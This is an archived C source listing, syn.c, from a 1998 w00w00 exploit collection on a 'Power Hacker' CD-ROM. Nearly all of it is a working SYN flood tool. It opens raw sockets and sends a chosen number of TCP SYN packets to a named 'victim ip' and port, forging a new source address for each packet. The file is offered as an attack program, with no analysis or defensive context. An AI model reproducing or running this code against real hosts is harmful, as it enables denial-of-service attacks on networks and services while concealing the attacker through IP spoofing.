home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / ipspoof / syn.c < prev   
Encoding:
C/C++ Source or Header  |  1998-08-13  |  1.7 KB  |  91 lines

  1. /* w00w00! */
  2. #include <stdio.h>
  3. #include <fcntl.h>
  4. #include <netdb.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7. #include <sys/stat.h>
  8. #include <sys/wait.h>
  9. #include <sys/types.h>
  10. #include <sys/ioctl.h>
  11. #include <sys/socket.h>
  12. #include <netinet/in.h>
  13. #include <netinet/ip.h>
  14. #include <netinet/ip_tcp.h>
  15. #include <netinet/ip_icmp.h>
  16. #include "spoof.c"
  17.  
  18. #define ERROR -1
  19.  
  20. unsigned long int host2ip(char *serv)
  21. {
  22.   struct sockaddr_in sinn;
  23.   struct hostent *hent;
  24.       
  25.   if ((hent = gethostbyname(serv)) == NULL) {
  26.     perror("gethostbyname");
  27.     exit(ERROR);
  28.   }
  29.  
  30.   bzero((char *)&sinn, sizeof(sinn));
  31.   bcopy(hent->h_addr, (char *)&sinn.sin_addr, hent->h_length);
  32.  
  33.   return sinn.sin_addr.s_addr;
  34. }
  35.  
  36.                      
  37. void main(int argc, char **argv)
  38. {
  39.   int s, s_r;
  40.   int i, loop;
  41.  
  42.   unsigned long bla;
  43.   unsigned long s_ip, d_ip;
  44.  
  45.  
  46.   printf("w00w00!\n");
  47.   if (argc < 4) {
  48.      printf("usage:\n\t%s <source ip> <victim ip> <victim port> "
  49.                "<number of syn packets>\n", argv[0]);
  50.     exit(ERROR);
  51.   }
  52.                     
  53.   if ((s_r = socket(AF_INET,SOCK_RAW, 6)) == ERROR) {
  54.     perror("socket");
  55.     exit(ERROR);
  56.   }
  57.       
  58.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  59.     perror("socket");
  60.     close(s_r);
  61.     exit(ERROR);
  62.   }
  63.  
  64.   #ifdef IP_HDRINCL
  65.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) < 0) {
  66.     perror("setsockopt");
  67.         close(s_r);
  68.         close(s);
  69.         exit(ERROR); 
  70.   }
  71.   #endif           
  72.  
  73.      
  74.   s_ip = host2ip(argv[1]);
  75.   d_ip = host2ip(argv[2]);
  76.   loop = atoi(argv[4]);
  77.  
  78.   printf("Sending packets...\n");
  79.  
  80.   for (i = 0; i < loop; i++) {
  81.       bla  = ntohl(s_ip), bla++;
  82.       s_ip = htonl(bla);
  83.       putchar('.');
  84.  
  85.       send_pkt(s, s_ip, d_ip, 4+i, atoi(argv[3]), TH_SYN, 123, 3, 512,
  86.                NULL, 0);
  87.   }
  88.  
  89.   printf("\nDone!\n");
  90. }
  91.